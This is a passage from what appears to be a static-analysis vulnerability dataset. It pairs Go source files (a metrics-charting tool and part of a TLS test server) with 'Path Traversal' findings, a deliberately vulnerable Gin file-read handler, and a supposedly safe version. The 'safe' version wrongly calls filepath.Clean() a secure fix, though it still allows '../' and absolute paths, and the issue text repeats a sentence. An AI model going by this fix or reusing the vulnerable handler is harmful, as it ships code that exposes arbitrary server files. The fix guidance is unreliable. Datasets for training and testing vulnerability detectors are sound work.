ok := usersWithIndexAdded[uid]; !ok {\n\t\t\t\tfor failure := range failures {\n\t\t\t\t\tif _, ok := neverAdded[failure]; !ok {\n\t\t\t\t\t\tneverAdded[failure] = make(map[string]bool)\n\t\t\t\t\t}\n\t\t\t\t\tneverAdded[failure][uid] = true\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tlog.Println(\"Users with no Local Index Added event:\")\n\t\tfor failure, users := range neverAdded {\n\t\t\tlog.Printf(\"%s: %d\\n\", failure, len(users))\n\t\t\tfor uid := range users {\n\t\t\t\tlog.Printf(\"\\t%s\\n\", uid)\n\t\t\t}\n\t\t}\n\n\t\tlog.Println(\"---\")\n\t\tlog.Println(\"Users with parse timeout:\")\n\t\tfor uid := range usersWithParseTimeout {\n\t\t\tlog.Printf(\"\\t%s\\n\", uid)\n\t\t}\n\t}\n\n\t// create graphs with data from all days\n\tgraphBuildDurations(platform, minVersion)\n\tgraphParseDurations(platform, minVersion)\n\tgraphCPUPercentiles(platform, minVersion, \"max\")\n\tgraphCPUPercentiles(platform, minVersion, \"avg\")\n\tgraphFailures(platform, minVersion)\n\tgraphFailureUserCounts(platform, minVersion)\n\tgraphPercentJobsFailed(platform, minVersion)\n\tgraphPercentUsersFailed(platform, minVersion)\n\tgraphPercentOlderVersion(platform, minVersion)\n\tgraphPercentUsersNeverBuilt(platform, minVersion)\n\tgraphNumUsersOlderVersion(platform, minVersion)\n\tgraphFilteredReasons(platform, minVersion)\n}\n\nvar (\n\tchartPercentiles []float64\n)\n\nfunc init() {\n\tfor i := float64(0); i <= 1.0; i += 0.01 {\n\t\tchartPercentiles = append(chartPercentiles, i)\n\t}\n}\n\nfunc computePercentiles(samples, percentiles []float64) []float64 {\n\tsort.Float64s(samples)\n\n\tvar ret []float64\n\tfor _, p := range percentiles {\n\t\tidx := int(float64(len(samples)) * p)\n\t\tif idx >= len(samples) {\n\t\t\tidx = len(samples) - 1\n\t\t}\n\t\tret = append(ret, samples[idx])\n\t}\n\n\treturn ret\n}\n\nfunc graphBuildDurations(platform, minVersion string) {\n\tif len(buildDurations) == 0 {\n\t\treturn\n\t}\n\n\ti := 0\n\tvar series []chart.Series\n\tfor clientVersion, durations := range buildDurations {\n\t\tbuildPercentiles := computePercentiles(durations, chartPercentiles)\n\t\tseries = append(series, chart.ContinuousSeries{\n\t\t\tName: clientVersion,\n\t\t\tXValues: chartPercentiles,\n\t\t\tYValues: buildPercentiles,\n\t\t\tStyle: chart.Style{\n\t\t\t\tShow: true,\n\t\t\t\tStrokeColor: chart.GetAlternateColor(i),\n\t\t\t},\n\t\t})\n\t\ti++\n\t}\n\n\tgraph := chart.Chart{\n\t\tTitle: \"Build Duration(ns) Percentiles\",\n\t\tTitleStyle: chart.StyleShow(),\n\t\tXAxis: chart.XAxis{\n\t\t\tName: \"Percentiles\",\n\t\t\tNameStyle: chart.StyleShow(),\n\t\t\tStyle: chart.StyleShow(),\n\t\t},\n\t\tYAxis: chart.YAxis{\n\t\t\tName: \"Build time (ms)\",\n\t\t\tNameStyle: chart.StyleShow(),\n\t\t\tStyle: chart.StyleShow(),\n\t\t},\n\t\tSeries: series,\n\t}\n\n\tgraph.Elements = []chart.Renderable{\n\t\tchart.LegendLeft(&graph),\n\t}\n\n\tname := fmt.Sprintf(\"index-build-percentiles-%s\", platform)\n\tif minVersion != \"\" {\n\t\tname = fmt.Sprintf(\"%s-%s\", name, minVersion)\n\t}\n\tf, err := os.Create(name + \".png\")\n\tif err != nil {\n\t\tlog.Fatalln(err)\n\t}\n\n\tgraph.Render(chart.PNG, f)\n\n\terr = f.Close()\n\tif err != nil {\n\t\tlog.Fatalln(err)\n\t}\n}\n\nfunc graphParseDurations(platform, minVersion string) {\n\tif len(parseDurations) == 0 {\n\t\treturn\n\t}\n\n\ti := 0\n\tvar series []chart.Series\n\tfor clientVersion, durations := range parseDurations {\n\t\tparsePercentiles := computePercentiles(durations, chartPercentiles)\n\t\tseries = append(series, chart.ContinuousSeries{\n\t\t\tName: clientVersion,\n\t\t\tXValues: chartPercentiles,\n\t\t\tYValues: parsePercentiles,\n\t\t\tStyle: chart.Style{\n\t\t\t\tShow: true,\n\t\t\t\tStrokeColor: chart.GetAlternateColor(i),\n\t\t\t},\n\t\t})\n\t\ti++\n\t}\n\n\tgraph := chart.Chart{\n\t\tTitle: \"Parse Duration(ns) Percentiles\",\n\t\tTitleStyle: chart.StyleShow(),\n\t\tXAxis: chart.XAxis{\n\t\t\tName: \"Percentiles\",\n\t\t\tNameStyle: chart.StyleShow(),\n\t\t\tStyle: chart.StyleShow(),\n\t\t},\n\t\tYAxis: chart.YAxis{\n\t\t\tName: \"Parse time (ms)\",\n\t\t\tNameStyle: chart.StyleShow(),\n\t\t\tStyle: chart.StyleShow(),\n\t\t},\n\t\tSeries: series,\n\t}\n\n\tgraph.Elements = []chart.Renderable{\n\t\tchart.LegendLeft(&graph),\n\t}\n\n\tname := fmt.Sprintf(\"parse-durations-percentiles-%s\", platform)\n\tif minVersion != \"\" {\n\t\tname = fmt.Sprintf(\"%s-%s\", name, minVersion)\n\t}\n\tf, err := os.Create(name + \".png\")\n\tif err != nil {\n\t\tlog.Fatalln(err)\n\t}\n\n\tgraph.Render(chart.PNG, f)\n\n\terr = f.Close()\n\tif err != nil {\n\t\tlog.Fatalln(err)\n\t}\n}\n\nfunc graphCPUPercentiles(platform, minVersion, statistic string) {\n\tvar cpuSamples map[string][]float64\n\tif statistic == \"max\" {\n\t\tcpuSamples = maxCPU\n\t} else if statistic == \"avg\" {\n\t\tcpuSamples = avgCPU\n\t} else {\n\t\treturn\n\t}\n\tif len(cpuSamples) == 0 {\n\t\treturn\n\t}\n\n\ti := 0\n\tvar series []chart.Series\n\tfor clientVersion, samples := range cpuSamples {\n\t\tcpuPercentiles := computePercentiles(samples, chartPercentiles)\n\t\tseries = append(series, chart.ContinuousSeries{\n\t\t\tName: clientVersion,\n\t\t\tXValues: chartPercentiles,\n\t\t\tYValues: cpuPercentiles,\n\t\t\tStyle: chart.Style{\n\t\t\t\tShow: true,\n\t\t\t\tStrokeColor: chart.GetAlternateColor(i),\n\t\t\t},\n\t\t})\n\t\ti++\n\t}\n\n\ttitle := fmt.Sprintf(\"%s CPU Usage(%%) Percentiles\", strings.Title(statistic))\n\tgraph := chart.Chart{\n\t\tTitle: title,\n\t\tTitleStyle: chart.StyleShow(),\n\t\tXAxis: chart.XAxis{\n\t\t\tName: \"Percentiles\",\n\t\t\tNameStyle: chart.StyleShow(),\n\t\t\tStyle: chart.StyleShow(),\n\t\t},\n\t\tYAxis: chart.YAxis{\n\t\t\tName: \"CPU usage (%)\",\n\t\t\tNameStyle: chart.StyleShow(),\n\t\t\tStyle: chart.StyleShow(),\n\t\t},\n\t\tSeries: series,\n\t}\n\n\tgraph.Elements = []chart.Renderable{\n\t\tchart.LegendLeft(&graph),\n\t}\n\n\tname := fmt.Sprintf(\"%s-cpu-usage-percentiles-%s\", statistic, platform)\n\tif minVersion != \"\" {\n\t\tname = fmt.Sprintf(\"%s-%s\", name, minVersion)\n\t}\n\tf, err := os.Create(name + \".png\")\n\tif err != nil {\n\t\tlog.Fatalln(err)\n\t}\n\n\tgraph.Render(chart.PNG, f)\n\n\terr = f.Close()\n\tif err != nil {\n\t\tlog.Fatalln(err)\n\t}\n}\n\nfunc graphFailures(platform, minVersion string) {\n\tvar days []time.Time\n\tvar total []float64\n\tfailureCounts := make(map[string][]float64)\n\tfor _, stats := range totalStats {\n\t\tdays = append(days, stats.day)\n\n\t\tfailed := 0\n\t\tfor ft := range seenFailureTypes {\n\t\t\tcount := stats.jobFailureTypes[ft]\n\t\t\tfailed += count\n\t\t\tfailureCounts[ft] = append(failureCounts[ft], float64(count))\n\t\t}\n\t\ttotal = append(total, float64(failed))\n\t}\n\n\tif len(total) != len(days) {\n\t\tlog.Fatalf(\"Expected number of values to match: %d, %d\", len(total), len(days))\n\t}\n\n\tvar series []chart.Series\n\ti := 0\n\tfor ft, counts := range failureCounts {\n\t\tseries = append(series, chart.TimeSeries{\n\t\t\tName: ft,\n\t\t\tXValues: days,\n\t\t\tYValues: counts,\n\t\t\tStyle: chart.Style{\n\t\t\t\tShow: true,\n\t\t\t\tStrokeColor: chart.GetAlternateColor(i),\n\t\t\t},\n\t\t})\n\t\ti++\n\t}\n\tseries = append(series, chart.TimeSeries{\n\t\tName: \"total\",\n\t\tXValues: days,\n\t\tYValues: total,\n\t\tStyle: chart.Style{\n\t\t\tShow: true,\n\t\t\tStrokeColor: chart.ColorRed,\n\t\t\tStrokeDashArray: []float64{5.0, 5.0},\n\t\t},\n\t})\n\n\tgraph := chart.Chart{\n\t\tTitle: \"Failure Type Counts\",\n\t\tTitleStyle: chart.StyleShow(),\n\t\tBackground: chart.Style{\n\t\t\tPadding: chart.Box{\n\t\t\t\tTop: 20,\n\t\t\t\tLeft: 400,\n\t\t\t},\n\t\t},\n\t\tXAxis: chart.XAxis{\n\t\t\tStyle: chart.Style{\n\t\t\t\tShow: true,\n\t\t\t},\n\t\t},\n\t\tYAxis: chart.YAxis{\n\t\t\tStyle: chart.Style{\n\t\t\t\tShow: true,\n\t\t\t},\n\t\t},\n\t\tSeries: series,\n\t}\n\n\tgraph.Elements = []chart.Renderable{\n\t\tchart.LegendLeft(&graph),\n\t}\n\n\tname := fmt.Sprintf(\"failed-jobs-%s\", platform)\n\tif minVersion != \"\" {\n\t\tname = fmt.Sprintf(\"%s-%s\", name, minVersion)\n\t}\n\tf, err := os.Create(name + \".png\")\n\tif err != nil {\n\t\tlog.Fatalln(err)\n\t}\n\n\tgraph.Render(chart.PNG, f)\n\n\terr = f.Close()\n\tif err != nil {\n\t\tlog.Fatalln(err)\n\t}\n}\n\nfunc graphFailureUserCounts(platform, minVersion string) {\n\tvar days []time.Time\n\tvar total []float64\n\tfailureCounts := make(map[string][]float64)\n\tfor _, stats := range totalStats {\n\t\tdays = append(days, stats.day)\n\n\t\tfailed := 0\n\t\tfor ft := range seenFailureTypes {\n\t\t\tusers := stats.jobFailureTypesUsers[ft]\n\t\t\tfailed += len(users)\n\t\t\tfailureCounts[ft] = append(failureCounts[ft], float64(len(users)))\n\t\t}\n\t\ttotal = append(total, float64(failed))\n\t}\n\n\tif len(total) != len(days) {\n\t\tlog.Fatalf(\"Expected number of values to match: %d, %d\", len(total), len(days))\n\t}\n\n\tvar series []chart.Series\n\ti := 0\n\tfor ft, counts := range failureCounts {\n\t\tseries = append(series, chart.TimeSeries{\n\t\t\tName: ft,\n\t\t\tXValues: days,\n\t\t\tYValues: counts,\n\t\t\tStyle: chart.Style{\n\t\t\t\tShow: true,\n\t\t\t\tStrokeColor: chart.GetAlternateColor(i),\n\t\t\t},\n\t\t})\n\t\ti++\n\t}\n\tseries = append(series, chart.TimeSeries{\n\t\tName: \"total\",\n\t\tXValues: days,\n\t\tYValues: total,\n\t\tStyle: chart.Style{\n\t\t\tShow: true,\n\t\t\tStrokeColor: chart.ColorRed,\n\t\t\tStrokeDashArray: []float64{5.0, 5.0},\n\t\t},\n\t})\n\n\tgraph := chart.Chart{\n\t\tTitle: \"User Counts for Failure Types\",\n\t\tTitleStyle: chart.StyleShow(),\n\t\tBackground: chart.Style{\n\t\t\tPadding: chart.Box{\n\t\t\t\tTop: 20,\n\t\t\t\tLeft: 400,\n\t\t\t},\n\t\t},\n\t\tXAxis: chart.XAxis{\n\t\t\tStyle: chart.Style{\n\t\t\t\tShow: true,\n\t\t\t},\n\t\t},\n\t\tYAxis: chart.YAxis{\n\t\t\tStyle: chart.Style{\n\t\t\t\tShow: true,\n\t\t\t},\n\t\t},\n\t\tSeries: series,\n\t}\n\n\tgraph.Elements = []chart.Renderable{\n\t\tchart.LegendLeft(&graph),\n\t}\n\n\tname := fmt.Sprintf(\"failed-jobs-users-%s\", platform)\n\tif minVersion != \"\" {\n\t\tname = fmt.Sprintf(\"%s-%s\", name, minVersion)\n\t}\n\tf, err := os.Create(name + \".png\")\n\tif err != nil {\n\t\tlog.Fatalln(err)\n\t}\n\n\tgraph.Render(chart.PNG, f)\n\n\terr = f.Close()\n\tif err != nil {\n\t\tlog.Fatalln(err)\n\t}\n}\n\nfunc graphPercentJobsFailed(platform, minVersion string) {\n\tvar days []time.Time\n\tvar failureRates []float64\n\tfor _, stats := range totalStats {\n\t\tdays = append(days, stats.day)\n\n\t\tvar percentFailed float64\n\t\tif stats.totalEvents == 0 {\n\t\t\tpercentFailed = 0\n\t\t} else {\n\t\t\tpercentFailed = float64(stats.failedEvents) / float64(stats.totalEvents) * 100\n\t\t}\n\t\tfailureRates = append(failureRates, percentFailed)\n\t}\n\n\tif len(failureRates) != len(days) {\n\t\tlog.Fatalf(\"Expected number of values to match: %d, %d\", len(failureRates), len(days))\n\t}\n\n\tvar series []chart.Series\n\tseries = append(series, chart.TimeSeries{\n\t\tName: platform,\n\t\tXValues: days,\n\t\tYValues: failureRates,\n\t\tStyle: chart.Style{\n\t\t\tShow: true,\n\t\t\tStrokeColor: chart.ColorRed,\n\t\t},\n\t})\n\n\tgraph := chart.Chart{\n\t\tTitle: \"Index Build Job Failure Rate\",\n\t\tTitleStyle: chart.StyleShow(),\n\t\tXAxis: chart.XAxis{\n\t\t\tName: \"percent\",\n\t\t\tNameStyle: chart.StyleShow(),\n\t\t\tStyle: chart.Style{\n\t\t\t\tShow: true,\n\t\t\t},\n\t\t},\n\t\tYAxis: chart.YAxis{\n\t\t\tStyle: chart.Style{\n\t\t\t\tShow: true,\n\t\t\t},\n\t\t},\n\t\tSeries: series,\n\t}\n\n\tname := fmt.Sprintf(\"percent-build-failed-%s\", platform)\n\tif minVersion != \"\" {\n\t\tname = fmt.Sprintf(\"%s-%s\", name, minVersion)\n\t}\n\tf, err := os.Create(name + \".png\")\n\tif err != nil {\n\t\tlog.Fatalln(err)\n\t}\n\n\tgraph.Render(chart.PNG, f)\n\n\terr = f.Close()\n\tif err != nil {\n\t\tlog.Fatalln(err)\n\t}\n}\n\nfunc graphPercentUsersFailed(platform, minVersion string) {\n\tvar days []time.Time\n\tvar failureRates []float64\n\tfor _, stats := range totalStats {\n\t\tdays = append(days, stats.day)\n\n\t\tvar percentFailed float64\n\t\tif stats.totalEvents == 0 {\n\t\t\tpercentFailed = 0\n\t\t} else {\n\t\t\tpercentFailed = float64(len(stats.failedUsers)) / float64(len(stats.totalUsers)) * 100\n\t\t}\n\t\tfailureRates = append(failureRates, percentFailed)\n\t}\n\n\tif len(failureRates) != len(days) {\n\t\tlog.Fatalf(\"Expected number of values to match: %d, %d\", len(failureRates), len(days))\n\t}\n\n\tvar series []chart.Series\n\tseries = append(series, chart.TimeSeries{\n\t\tName: platform,\n\t\tXValues: days,\n\t\tYValues: failureRates,\n\t\tStyle: chart.Style{\n\t\t\tShow: true,\n\t\t\tStrokeColor: chart.ColorRed,\n\t\t},\n\t})\n\n\tgraph := chart.Chart{\n\t\tTitle: \"% Users With Index Build Failure\",\n\t\tTitleStyle: chart.StyleShow(),\n\t\tXAxis: chart.XAxis{\n\t\t\tName: \"percent\",\n\t\t\tNameStyle: chart.StyleShow(),\n\t\t\tStyle: chart.Style{\n\t\t\t\tShow: true,\n\t\t\t},\n\t\t},\n\t\tYAxis: chart.YAxis{\n\t\t\tStyle: chart.Style{\n\t\t\t\tShow: true,\n\t\t\t},\n\t\t},\n\t\tSeries: series,\n\t}\n\n\tname := fmt.Sprintf(\"percent-users-failed-%s\", platform)\n\tif minVersion != \"\" {\n\t\tname = fmt.Sprintf(\"%s-%s\", name, minVersion)\n\t}\n\tf, err := os.Create(name + \".png\")\n\tif err != nil {\n\t\tlog.Fatalln(err)\n\t}\n\n\tgraph.Render(chart.PNG, f)\n\n\terr = f.Close()\n\tif err != nil {\n\t\tlog.Fatalln(err)\n\t}\n}\n\nfunc graphPercentOlderVersion(platform, minVersion string) {\n\tvar days []time.Time\n\tvar olderRates []float64\n\tfor _, stats := range totalStats {\n\t\tdays = append(days, stats.day)\n\n\t\tvar percentOlder float64\n\t\tif stats.totalVersion == 0 {\n\t\t\tpercentOlder = 0\n\t\t} else {\n\t\t\tpercentOlder = float64(stats.olderVersion) / float64(stats.totalVersion) * 100\n\t\t}\n\t\tolderRates = append(olderRates, percentOlder)\n\t}\n\n\tif len(olderRates) != len(days) {\n\t\tlog.Fatalf(\"Expected number of values to match: %d, %d\", len(olderRates), len(days))\n\t}\n\n\tvar series []chart.Series\n\tseries = append(series, chart.TimeSeries{\n\t\tName: platform,\n\t\tXValues: days,\n\t\tYValues: olderRates,\n\t\tStyle: chart.Style{\n\t\t\tShow: true,\n\t\t\tStrokeColor: chart.ColorRed,\n\t\t},\n\t})\n\n\tgraph := chart.Chart{\n\t\tTitle: fmt.Sprintf(\"%% Events Older Than Version %s\", minVersion),\n\t\tTitleStyle: chart.StyleShow(),\n\t\tXAxis: chart.XAxis{\n\t\t\tName: \"percent\",\n\t\t\tNameStyle: chart.StyleShow(),\n\t\t\tStyle: chart.Style{\n\t\t\t\tShow: true,\n\t\t\t},\n\t\t},\n\t\tYAxis: chart.YAxis{\n\t\t\tStyle: chart.Style{\n\t\t\t\tShow: true,\n\t\t\t},\n\t\t},\n\t\tSeries: series,\n\t}\n\n\tname := fmt.Sprintf(\"percent-older-version-%s\", platform)\n\tif minVersion != \"\" {\n\t\tname = fmt.Sprintf(\"%s-%s\", name, minVersion)\n\t}\n\tf, err := os.Create(name + \".png\")\n\tif err != nil {\n\t\tlog.Fatalln(err)\n\t}\n\n\tgraph.Render(chart.PNG, f)\n\n\terr = f.Close()\n\tif err != nil {\n\t\tlog.Fatalln(err)\n\t}\n}\n\nfunc graphNumUsersOlderVersion(platform, minVersion string) {\n\tvar days []time.Time\n\tvar olderCounts []float64\n\tfor _, stats := range totalStats {\n\t\tdays = append(days, stats.day)\n\n\t\tolderCounts = append(olderCounts, float64(len(stats.olderVersionUsers)))\n\t}\n\n\tif len(olderCounts) != len(days) {\n\t\tlog.Fatalf(\"Expected number of values to match: %d, %d\", len(olderCounts), len(days))\n\t}\n\n\tvar series []chart.Series\n\tseries = append(series, chart.TimeSeries{\n\t\tName: platform,\n\t\tXValues: days,\n\t\tYValues: olderCounts,\n\t\tStyle: chart.Style{\n\t\t\tShow: true,\n\t\t\tStrokeColor: chart.ColorRed,\n\t\t},\n\t})\n\n\tgraph := chart.Chart{\n\t\tTitle: fmt.Sprintf(\"Num Users with Version Older than %s\", minVersion),\n\t\tTitleStyle: chart.StyleShow(),\n\t\tXAxis: chart.XAxis{\n\t\t\tName: \"count\",\n\t\t\tNameStyle: chart.StyleShow(),\n\t\t\tStyle: chart.Style{\n\t\t\t\tShow: true,\n\t\t\t},\n\t\t},\n\t\tYAxis: chart.YAxis{\n\t\t\tStyle: chart.Style{\n\t\t\t\tShow: true,\n\t\t\t},\n\t\t},\n\t\tSeries: series,\n\t}\n\n\tname := fmt.Sprintf(\"num-older-version-%s\", platform)\n\tif minVersion != \"\" {\n\t\tname = fmt.Sprintf(\"%s-%s\", name, minVersion)\n\t}\n\tf, err := os.Create(name + \".png\")\n\tif err != nil {\n\t\tlog.Fatalln(err)\n\t}\n\n\tgraph.Render(chart.PNG, f)\n\n\terr = f.Close()\n\tif err != nil {\n\t\tlog.Fatalln(err)\n\t}\n}\n\nfunc graphPercentUsersNeverBuilt(platform, minVersion string) {\n\tvar days []time.Time\n\tvar neverBuiltRates []float64\n\tfor _, stats := range totalStats {\n\t\tdays = append(days, stats.day)\n\n\t\t// find users who never had an index built\n\t\tneverBuilt := make(map[string]bool)\n\t\tfor uid := range stats.failedUsers {\n\t\t\tsuccess := stats.successUsers[uid]\n\t\t\tif !success {\n\t\t\t\tneverBuilt[uid] = true\n\t\t\t}\n\t\t}\n\n\t\tvar percentNeverBuilt float64\n\t\tif stats.totalEvents == 0 {\n\t\t\tpercentNeverBuilt = 0\n\t\t} else {\n\t\t\tpercentNeverBuilt = float64(len(neverBuilt)) / float64(len(stats.totalUsers)) * 100\n\t\t}\n\t\tneverBuiltRates = append(neverBuiltRates, percentNeverBuilt)\n\t}\n\n\tif len(neverBuiltRates) != len(days) {\n\t\tlog.Fatalf(\"Expected number of values to match: %d, %d\", len(neverBuiltRates), len(days))\n\t}\n\n\tvar series []chart.Series\n\tseries = append(series, chart.TimeSeries{\n\t\tName: platform,\n\t\tXValues: days,\n\t\tYValues: neverBuiltRates,\n\t\tStyle: chart.Style{\n\t\t\tShow: true,\n\t\t\tStrokeColor: chart.ColorRed,\n\t\t},\n\t})\n\n\tgraph := chart.Chart{\n\t\tTitle: \"% Users With No Index Build Success\",\n\t\tTitleStyle: chart.StyleShow(),\n\t\tXAxis: chart.XAxis{\n\t\t\tName: \"percent\",\n\t\t\tNameStyle: chart.StyleShow(),\n\t\t\tStyle: chart.Style{\n\t\t\t\tShow: true,\n\t\t\t},\n\t\t},\n\t\tYAxis: chart.YAxis{\n\t\t\tStyle: chart.Style{\n\t\t\t\tShow: true,\n\t\t\t},\n\t\t},\n\t\tSeries: series,\n\t}\n\n\tname := fmt.Sprintf(\"percent-users-never-built-%s\", platform)\n\tif minVersion != \"\" {\n\t\tname = fmt.Sprintf(\"%s-%s\", name, minVersion)\n\t}\n\tf, err := os.Create(name + \".png\")\n\tif err != nil {\n\t\tlog.Fatalln(err)\n\t}\n\n\tgraph.Render(chart.PNG, f)\n\n\terr = f.Close()\n\tif err != nil {\n\t\tlog.Fatalln(err)\n\t}\n}\n\nfunc graphFilteredReasons(platform, minVersion string) {\n\tvar days []time.Time\n\tvar total []float64\n\tfilteredCounts := make(map[string][]float64)\n\tfor _, stats := range totalStats {\n\t\tdays = append(days, stats.day)\n\n\t\tfiltered := 0\n\t\tfor r := range seenReasons {\n\t\t\tcount := len(stats.filteredReasonsUsers[r])\n\t\t\tfiltered += count\n\t\t\tfilteredCounts[r] = append(filteredCounts[r], float64(count))\n\t\t}\n\t\ttotal = append(total, float64(filtered))\n\t}\n\n\tif len(total) != len(days) {\n\t\tlog.Fatalf(\"Expected number of values to match: %d, %d\", len(total), len(days))\n\t}\n\n\tvar series []chart.Series\n\ti := 0\n\tfor ft, counts := range filteredCounts {\n\t\tseries = append(series, chart.TimeSeries{\n\t\t\tName: ft,\n\t\t\tXValues: days,\n\t\t\tYValues: counts,\n\t\t\tStyle: chart.Style{\n\t\t\t\tShow: true,\n\t\t\t\tStrokeColor: chart.GetAlternateColor(i),\n\t\t\t},\n\t\t})\n\t\ti++\n\t}\n\tseries = append(series, chart.TimeSeries{\n\t\tName: \"total\",\n\t\tXValues: days,\n\t\tYValues: total,\n\t\tStyle: chart.Style{\n\t\t\tShow: true,\n\t\t\tStrokeColor: chart.ColorRed,\n\t\t\tStrokeDashArray: []float64{5.0, 5.0},\n\t\t},\n\t})\n\n\tgraph := chart.Chart{\n\t\tTitle: \"Filtered Reason Counts\",\n\t\tTitleStyle: chart.StyleShow(),\n\t\tBackground: chart.Style{\n\t\t\tPadding: chart.Box{\n\t\t\t\tTop: 20,\n\t\t\t\tLeft: 400,\n\t\t\t},\n\t\t},\n\t\tXAxis: chart.XAxis{\n\t\t\tStyle: chart.Style{\n\t\t\t\tShow: true,\n\t\t\t},\n\t\t},\n\t\tYAxis: chart.YAxis{\n\t\t\tStyle: chart.Style{\n\t\t\t\tShow: true,\n\t\t\t},\n\t\t},\n\t\tSeries: series,\n\t}\n\n\tgraph.Elements = []chart.Renderable{\n\t\tchart.LegendLeft(&graph),\n\t}\n\n\tname := fmt.Sprintf(\"filtered-reasons-%s\", platform)\n\tif minVersion != \"\" {\n\t\tname = fmt.Sprintf(\"%s-%s\", name, minVersion)\n\t}\n\tf, err := os.Create(name + \".png\")\n\tif err != nil {\n\t\tlog.Fatalln(err)\n\t}\n\n\tgraph.Render(chart.PNG, f)\n\n\terr = f.Close()\n\tif err != nil {\n\t\tlog.Fatalln(err)\n\t}\n}", "dangerousExampleEn": "1. func Dan_PathTraversal(c *gin.Context) {\n2. \tpath := c.PostForm(\"input\")\n3. \tcontent, err := ioutil.ReadFile(path)\n4. \tc.String(200, string(content))\n5. }\nLine 3: This is vulnerable to path traversal because an external input is used in function without filtering.", "safeExampleEn": "1. func Safe_PathTraversal(c *gin.Context) {\n2. \tpath := c.PostForm(\"input\")\n3. \tcontent, err := ioutil.ReadFile(filepath.Clean(path))\n4. \tc.String(200, string(content))\n5. }\nLine 3: This is secure because the external input is filtered using filepath.Clean().", "contexts": [{"lineNo": 609, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "Sprintf"}}, {"lineNo": 609, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 613, "eventType": "sink", "messageKey": "gochk.PATH_CONTAMINATION.GO.defect.sink", "params": {}}]}} {"id": "83a8c6d8f1fdeaaed5f76852fd67f974af455b3d1d5ef0c4ddb0c4513c4a02dc", "license": {"spdx": ["MIT"], "repo": "FiloSottile/mint", "path": "bin/mint-server-https/main.go", "repo_head_hexsha": "52f9f984e2fc726977eb26024224d71df85a3a30", "stack_hexsha": "aea60f52ed4a1d8d91698b771ccbc96c553249c9", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Path Traversal", "issueDescriptionEn": "Path traversal is a vulnerability in which a user can access or modify arbitrary files in the application. This may occur when a user input is used as a file path without restrictions. Using a file path directly from a user input is dangerous. It is recommended to not use a file path from a user input whenever possible. If it is necessary, ensure that the user input is validated. If it becomes necessary, ensure that the user input is validated.\nIn Golang, the path can be used securely by using filepath.Join() or removing `.` or `..` through filepath.Clean().", "issueLineNumber": 49, "entireCode": "package main\n\nimport (\n\t\"crypto\"\n\t\"crypto/x509\"\n\t\"flag\"\n\t\"io/ioutil\"\n\t\"log\"\n\t\"net/http\"\n\n\t\"github.com/bifurcation/mint\"\n\t\"github.com/cloudflare/cfssl/helpers\"\n\t\"golang.org/x/net/http2\"\n)\n\nvar (\n\tport string\n\tserverName string\n\tcertFile string\n\tkeyFile string\n\tresponseFile string\n\th2 bool\n\tsendTickets bool\n)\n\ntype responder []byte\n\nfunc (rsp responder) ServeHTTP(w http.ResponseWriter, r *http.Request) {\n\tw.Write(rsp)\n}\n\nfunc main() {\n\tflag.StringVar(&port, \"port\", \"4430\", \"port\")\n\tflag.StringVar(&serverName, \"host\", \"example.com\", \"hostname\")\n\tflag.StringVar(&certFile, \"cert\", \"\", \"certificate chain in PEM or DER\")\n\tflag.StringVar(&keyFile, \"key\", \"\", \"private key in PEM format\")\n\tflag.StringVar(&responseFile, \"response\", \"\", \"file to serve\")\n\tflag.BoolVar(&h2, \"h2\", false, \"whether to use HTTP/2 (exclusively)\")\n\tflag.BoolVar(&sendTickets, \"tickets\", true, \"whether to send session tickets\")\n\tflag.Parse()\n\n\tvar certChain []*x509.Certificate\n\tvar priv crypto.Signer\n\tvar response []byte\n\tvar err error\n\n\t// Load the key and certificate chain\n\tif certFile != \"\" {\n\t\tcerts, err := ioutil.ReadFile(certFile)\n\t\tif err != nil {\n\t\t\tlog.Fatalf(\"Error: %v\", err)\n\t\t} else {\n\t\t\tcertChain, err = helpers.ParseCertificatesPEM(certs)\n\t\t\tif err != nil {\n\t\t\t\tcertChain, _, err = helpers.ParseCertificatesDER(certs, \"\")\n\t\t\t}\n\t\t}\n\t}\n\tif keyFile != \"\" {\n\t\tkeyPEM, err := ioutil.ReadFile(keyFile)\n\t\tif err != nil {\n\t\t\tlog.Fatalf(\"Error: %v\", err)\n\t\t} else {\n\t\t\tpriv, err = helpers.ParsePrivateKeyPEM(keyPEM)\n\t\t\tif priv == nil || err != nil {\n\t\t\t\tlog.Fatalf(\"Error parsing private key: %v\", err)\n\t\t\t}\n\t\t}\n\t}\n\tif err != nil {\n\t\tlog.Fatalf(\"Error: %v\", err)\n\t}\n\n\t// Load response file\n\tif responseFile != \"\" {\n\t\tlog.Printf(\"Loading response file: %v\", responseFile)\n\t\tresponse, err = ioutil.ReadFile(responseFile)\n\t\tif err != nil {\n\t\t\tlog.Fatalf(\"Error: %v\", err)\n\t\t}\n\t} else {\n\t\tresponse = []byte(\"Welcome to the TLS 1.3 zone!\")\n\t}\n\thandler := responder(response)\n\n\tconfig := mint.Config{\n\t\tSendSessionTickets: true,\n\t\tServerName: serverName,\n\t\tNextProtos: []string{\"http/1.1\"},\n\t}\n\n\tif h2 {\n\t\tconfig.NextProtos = []string{\"h2\"}\n\t}\n\n\tconfig.SendSessionTickets = sendTickets\n\n\tif certChain != nil && priv != nil {\n\t\tlog.Printf(\"Loading cert: %v key: %v\", certFile, keyFile)\n\t\tconfig.Certificates = []*mint.Certificate{\n\t\t\t&mint.Certificate{\n\t\t\t\tChain: certChain,\n\t\t\t\tPrivateKey: priv,\n\t\t\t},\n\t\t}\n\t}\n\tconfig.Init(false)\n\n\tservice := \"0.0.0.0:\" + port\n\tsrv := &http.Server{Handler: handler}\n\n\tlog.Printf(\"Listening on port %v\", port)\n\t// Need the inner loop here because the h1 server errors on a dropped connection\n\t// Need the outer loop here because the h2 server is per-connection\n\tfor {\n\t\tlistener, err := mint.Listen(\"tcp\", service, &config)\n\t\tif err != nil {\n\t\t\tlog.Printf(\"Listen Error: %v\", err)\n\t\t\tcontinue\n\t\t}\n\n\t\tif !h2 {\n\t\t\terr = srv.Serve(listener)\n\t\t\tif err != nil {\n\t\t\t\tlog.Printf(\"Serve Error: %v\", err)\n\t\t\t}\n\t\t} else {\n\t\t\tsrv2 := new(http2.Server)\n\t\t\topts := &http2.ServeConnOpts{\n\t\t\t\tHandler: handler,\n\t\t\t\tBaseConfig: srv,\n\t\t\t}\n\n\t\t\tfor {\n\t\t\t\tconn, err := listener.Accept()\n\t\t\t\tif err != nil 